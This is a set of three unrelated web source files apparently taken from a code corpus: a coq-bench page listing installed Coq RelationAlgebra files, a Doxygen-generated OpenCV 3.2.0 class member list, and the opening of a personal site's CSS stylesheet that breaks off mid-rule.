<code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/untyping.vo</code></li> <li>348 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_completeness.vo</code></li> <li>339 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_completeness.glob</code></li> <li>268 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/paterson.vo</code></li> <li>217 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/compiler_opts.vo</code></li> <li>194 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix.glob</code></li> <li>188 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/relalg.vo</code></li> <li>185 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/monoid.vo</code></li> <li>168 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix.vo</code></li> <li>164 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/paterson.glob</code></li> <li>163 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.cmxs</code></li> <li>157 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/traces.vo</code></li> <li>149 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_common.cmxs</code></li> <li>138 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/normalisation.glob</code></li> <li>136 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/syntax.vo</code></li> <li>125 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/monoid.glob</code></li> <li>123 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/regex.vo</code></li> <li>121 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lattice.vo</code></li> <li>114 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/regex.glob</code></li> <li>112 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/relalg.glob</code></li> <li>111 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/untyping.glob</code></li> <li>105 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/atoms.glob</code></li> <li>100 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ka_completeness.glob</code></li> <li>99 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex_dec.vo</code></li> <li>96 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lattice.glob</code></li> <li>89 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ka_completeness.vo</code></li> <li>89 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rmx.vo</code></li> <li>85 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_fold.cmxs</code></li> <li>78 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/traces.glob</code></li> <li>77 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_reification.cmxs</code></li> <li>76 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex_dec.glob</code></li> <li>76 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix_ext.glob</code></li> <li>75 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/imp.vo</code></li> <li>74 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/compiler_opts.glob</code></li> <li>66 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix_ext.vo</code></li> <li>65 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ordinal.vo</code></li> <li>65 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/gregex.vo</code></li> <li>61 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rmx.glob</code></li> <li>59 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.vo</code></li> <li>57 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kleene.glob</code></li> <li>56 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/nfa.vo</code></li> <li>56 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sups.vo</code></li> <li>55 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex.vo</code></li> <li>53 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kleene.vo</code></li> <li>50 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_tac.vo</code></li> <li>49 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/syntax.glob</code></li> <li>48 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/mrewrite.cmxs</code></li> <li>48 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ordinal.glob</code></li> <li>48 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/move.vo</code></li> <li>47 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/comparisons.vo</code></li> <li>47 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/atoms.vo</code></li> <li>46 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lang.vo</code></li> <li>44 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/level.vo</code></li> <li>42 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex.glob</code></li> <li>40 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rel.vo</code></li> <li>40 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/nfa.glob</code></li> <li>39 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sups.glob</code></li> <li>38 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lsyntax.vo</code></li> <li>37 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/dfa.vo</code></li> <li>36 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/boolean.vo</code></li> <li>35 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/bmx.vo</code></li> <li>34 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_completeness.v</code></li> <li>34 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lset.vo</code></li> <li>33 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/level.glob</code></li> <li>32 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/pair.vo</code></li> <li>32 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/glang.vo</code></li> <li>31 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/imp.glob</code></li> <li>30 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/comparisons.glob</code></li> <li>28 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.glob</code></li> <li>26 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/untyping.v</code></li> <li>26 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/normalisation.v</code></li> <li>25 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/gregex.glob</code></li> <li>25 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_tac.glob</code></li> <li>24 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_untyping.vo</code></li> <li>23 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_common.cmi</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rewriting.glob</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/traces.v</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix.v</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rewriting.vo</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/factors.glob</code></li> <li>22 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lattice.v</code></li> <li>21 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/monoid.v</code></li> <li>21 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/factors.vo</code></li> <li>21 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/denum.vo</code></li> <li>21 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/positives.vo</code></li> <li>20 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/dfa.glob</code></li> <li>19 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/paterson.v</code></li> <li>19 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/relalg.v</code></li> <li>18 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat.vo</code></li> <li>18 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/all.vo</code></li> <li>17 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/move.glob</code></li> <li>17 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/bmx.glob</code></li> <li>16 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ka_completeness.v</code></li> <li>16 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lang.glob</code></li> <li>16 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/regex.v</code></li> <li>15 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lsyntax.glob</code></li> <li>15 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sums.vo</code></li> <li>15 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/syntax.v</code></li> <li>14 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex_dec.v</code></li> <li>14 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rel.glob</code></li> <li>14 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/common.vo</code></li> <li>13 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/boolean.glob</code></li> <li>13 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ordinal.v</code></li> <li>13 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lset.glob</code></li> <li>12 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.cmi</code></li> <li>12 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_untyping.glob</code></li> <li>12 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/pair.glob</code></li> <li>11 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_common.cmx</code></li> <li>11 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rmx.v</code></li> <li>11 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/glang.glob</code></li> <li>10 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/powerfix.vo</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_tac.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_reification.cmi</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/imp.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/matrix_ext.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.v</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/mrewrite.cmi</code></li> <li>9 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ugregex.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/gregex.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sups.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/prop.vo</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/powerfix.glob</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.cmx</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/comparisons.v</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat.glob</code></li> <li>8 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kleene.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/denum.glob</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/common.glob</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_reification.cmx</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lang.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/atoms.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_fold.cmi</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/mrewrite.cmx</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/nfa.v</code></li> <li>7 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lsyntax.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/compiler_opts.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/level.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rewriting.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/rel.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/dfa.v</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_fold.cmx</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_reification.cmxa</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sums.glob</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/positives.glob</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_common.cmxa</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_reification.cmxa</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/ra_fold.cmxa</code></li> <li>6 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/mrewrite.cmxa</code></li> <li>5 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/lset.v</code></li> <li>5 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/glang.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/boolean.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/bmx.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/common.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/pair.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/move.v</code></li> <li>4 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat.v</code></li> <li>3 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/powerfix.v</code></li> <li>3 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_untyping.v</code></li> <li>3 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/factors.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/denum.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/positives.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/all.glob</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_dec.cmx</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/sums.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/prop.v</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/prop.glob</code></li> <li>2 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/kat_dec.cmi</code></li> <li>1 K <code>../ocaml-base-compiler.4.05.0/lib/coq/user-contrib/RelationAlgebra/all.v</code></li> </ul> <h2>Uninstall</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq-relation-algebra.1.7.3</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> <small>Sources are on <a href="https://github.com/coq-bench">GitHub</a>. © Guillaume Claret.</small> </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.05.0-2.0.6/released/8.11.2/relation-algebra/1.7.3.html
HTML
mit
27,183
<!-- HTML header for doxygen 1.8.6--> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.12"/> <title>OpenCV: Member List</title> <link href="../../opencv.ico" rel="shortcut icon" type="image/x-icon" /> <link href="../../tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="../../jquery.js"></script> <script type="text/javascript" src="../../dynsections.js"></script> <link href="../../search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="../../search/searchdata.js"></script> <script type="text/javascript" src="../../search/search.js"></script> <script type="text/x-mathjax-config"> MathJax.Hub.Config({ extensions: ["tex2jax.js", "TeX/AMSmath.js", "TeX/AMSsymbols.js"], jax: ["input/TeX","output/HTML-CSS"], }); //<![CDATA[ MathJax.Hub.Config( { TeX: { Macros: { matTT: [ "\\[ \\left|\\begin{array}{ccc} #1 & #2 & #3\\\\ #4 & #5 & #6\\\\ #7 & #8 & #9 \\end{array}\\right| \\]", 9], fork: ["\\left\\{ \\begin{array}{l l} #1 & \\mbox{#2}\\\\ #3 & \\mbox{#4}\\\\ \\end{array} \\right.", 4], forkthree: ["\\left\\{ \\begin{array}{l l} #1 & \\mbox{#2}\\\\ #3 & \\mbox{#4}\\\\ #5 & \\mbox{#6}\\\\ \\end{array} \\right.", 6], vecthree: ["\\begin{bmatrix} #1\\\\ #2\\\\ #3 \\end{bmatrix}", 3], vecthreethree: ["\\begin{bmatrix} #1 & #2 & #3\\\\ #4 & #5 & #6\\\\ #7 & #8 & #9 \\end{bmatrix}", 9], hdotsfor: ["\\dots", 1], mathbbm: ["\\mathbb{#1}", 1], bordermatrix: ["\\matrix{#1}", 1] } } } ); //]]> </script><script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js"></script> <link href="../../doxygen.css" rel="stylesheet" type="text/css" /> <link href="../../stylesheet.css" rel="stylesheet" type="text/css"/> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <!--#include virtual="/google-search.html"--> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectlogo"><img alt="Logo" src="../../opencv-logo-small.png"/></td> <td style="padding-left: 0.5em;"> <div id="projectname">OpenCV &#160;<span id="projectnumber">3.2.0</span> </div> <div id="projectbrief">Open Source Computer Vision</div> </td> </tr> </tbody> </table> </div> <script type="text/javascript"> //<![CDATA[ function getLabelName(innerHTML) { var str = innerHTML.toLowerCase(); // Replace all '+' with 'p' str = str.split('+').join('p'); // Replace all ' ' with '_' str = str.split(' ').join('_'); // Replace all '#' with 'sharp' str = str.split('#').join('sharp'); // Replace other special characters with 'ascii' + code for (var i = 0; i < str.length; i++) { var charCode = str.charCodeAt(i); if (!(charCode == 95 || (charCode > 96 && charCode < 123) || (charCode > 47 && charCode < 58))) str = str.substr(0, i) + 'ascii' + charCode + str.substr(i + 1); } return str; } function addToggle() { var $getDiv = $('div.newInnerHTML').last(); var buttonName = $getDiv.html(); var label = getLabelName(buttonName.trim()); $getDiv.attr("title", label); $getDiv.hide(); $getDiv = $getDiv.next(); $getDiv.attr("class", "toggleable_div label_" + label); $getDiv.hide(); } //]]> </script> <!-- end header part --> <!-- Generated by Doxygen 1.8.12 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "../../search",false,'Search'); </script> <script type="text/javascript" src="../../menudata.js"></script> <script type="text/javascript" src="../../menu.js"></script> <script type="text/javascript"> $(function() { initMenu('../../',true,false,'search.php','Search'); $(document).ready(function() { init_search(); }); }); </script> <div id="main-nav"></div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="../../d2/d75/namespacecv.html">cv</a></li><li class="navelem"><a class="el" href="../../da/d6d/namespacecv_1_1videostab.html">videostab</a></li><li class="navelem"><a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html">IDenseOptFlowEstimator</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">cv::videostab::IDenseOptFlowEstimator Member List</div> </div> </div><!--header--> <div class="contents"> <p>This is the complete list of members for <a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html">cv::videostab::IDenseOptFlowEstimator</a>, including all inherited members.</p> <table class="directory"> <tr class="even"><td class="entry"><a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html#a5e961d8501881347a113d3cb75b52aae">run</a>(InputArray frame0, InputArray frame1, InputOutputArray flowX, InputOutputArray flowY, OutputArray errors)=0</td><td class="entry"><a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html">cv::videostab::IDenseOptFlowEstimator</a></td><td class="entry"><span class="mlabel">pure virtual</span></td></tr> <tr><td class="entry"><a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html#aa56059e037f5271640e0a2415bdba994">~IDenseOptFlowEstimator</a>()</td><td class="entry"><a class="el" href="../../de/d24/classcv_1_1videostab_1_1IDenseOptFlowEstimator.html">cv::videostab::IDenseOptFlowEstimator</a></td><td class="entry"><span class="mlabel">virtual</span></td></tr> </table></div><!-- contents --> <!-- HTML footer for doxygen 1.8.6--> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated on Fri Dec 23 2016 13:00:29 for OpenCV by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="../../doxygen.png" alt="doxygen"/> </a> 1.8.12 </small></address> <script type="text/javascript"> //<![CDATA[ function addButton(label, buttonName) { var b = document.createElement("BUTTON"); b.innerHTML = buttonName; b.setAttribute('class', 'toggleable_button label_' + label); b.onclick = function() { $('.toggleable_button').css({ border: '2px outset', 'border-radius': '4px' }); $('.toggleable_button.label_' + label).css({ border: '2px inset', 'border-radius': '4px' }); $('.toggleable_div').css('display', 'none'); $('.toggleable_div.label_' + label).css('display', 'block'); }; b.style.border = '2px outset'; b.style.borderRadius = '4px'; b.style.margin = '2px'; return b; } function buttonsToAdd($elements, $heading, $type) { if ($elements.length === 0) { $elements = $("" + $type + ":contains(" + $heading.html() + ")").parent().prev("div.newInnerHTML"); } var arr = jQuery.makeArray($elements); var seen = {}; arr.forEach(function(e) { var txt = e.innerHTML; if (!seen[txt]) { $button = addButton(e.title, txt); if (Object.keys(seen).length == 0) { var linebreak1 = document.createElement("br"); var linebreak2 = document.createElement("br"); ($heading).append(linebreak1); ($heading).append(linebreak2); } ($heading).append($button); seen[txt] = true; } }); return; } $("h2").each(function() { $heading = $(this); $smallerHeadings = $(this).nextUntil("h2").filter("h3").add($(this).nextUntil("h2").find("h3")); if ($smallerHeadings.length) { $smallerHeadings.each(function() { var $elements = $(this).nextUntil("h3").filter("div.newInnerHTML"); buttonsToAdd($elements, $(this), "h3"); }); } else { var $elements = $(this).nextUntil("h2").filter("div.newInnerHTML"); buttonsToAdd($elements, $heading, "h2"); } }); $(".toggleable_button").first().click(); var $clickDefault = $('.toggleable_button.label_python').first(); if ($clickDefault.length) { $clickDefault.click(); } $clickDefault = $('.toggleable_button.label_cpp').first(); if ($clickDefault.length) { $clickDefault.click(); } //]]> </script> </body> </html>
lucasbrsa/OpenCV-3.2
docs/3.2/d6/d26/classcv_1_1videostab_1_1IDenseOptFlowEstimator-members.html
HTML
mit
9,021
/* HEZahran CSS v1.0 ---------------------------------------------------------- Copyright (c) 2014, HEZahran.com. All rights reserved. Coded and Authored with all the love in the world. Coder: Hashem Zahran @antikano || @hezahran ------------------------------------------------------------*/ /*-- custom fonts ------------------------------------------------------------*/ @import url(http://fonts.googleapis.com/css?family=Fira+Sans:300,400,500,700|Rochester|Roboto:400,300,700); /*-- base ------------------------------------------------------------*/ html, body { height: 100%; width: 100%; margin: 0; padding: 0; } body { font-family: "Roboto", "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; font-weight: 300; line-height: 1.6; padding-top: 50px; color: #34495e; } h1, h2, h3, h4, h5, h6 { font-family: "Fira Sans", "Helvetica Neue", Helvetica, Arial, sans-serif; font-weight: 300; color: #019875; } blockquote { margin-bottom: 0; } blockquote p { min-height: 115px; } blockquote footer { background: none; text-shadow: 0 0; padding: 0; } section { padding-bottom: 3em; margin-bottom: 0; } a { color: #019875; } footer { padding-top: 3em; padding-bottom: 3em; color: #ecf0f1; text-shadow: 0 -1px 1px rgba(0, 0, 0, 0.2); background-color: #2c3e50; } footer a { color: #34495e; } footer a:hover { color: #049372; } footer .copyright { margin-top: 1.5em; } footer .copyright a { color: #019875; } /*-- macifying ------------------------------------------------------------*/ .btn { font-weight: 300; } .pagination li a, .pagination li span { color: #019875; border-color: 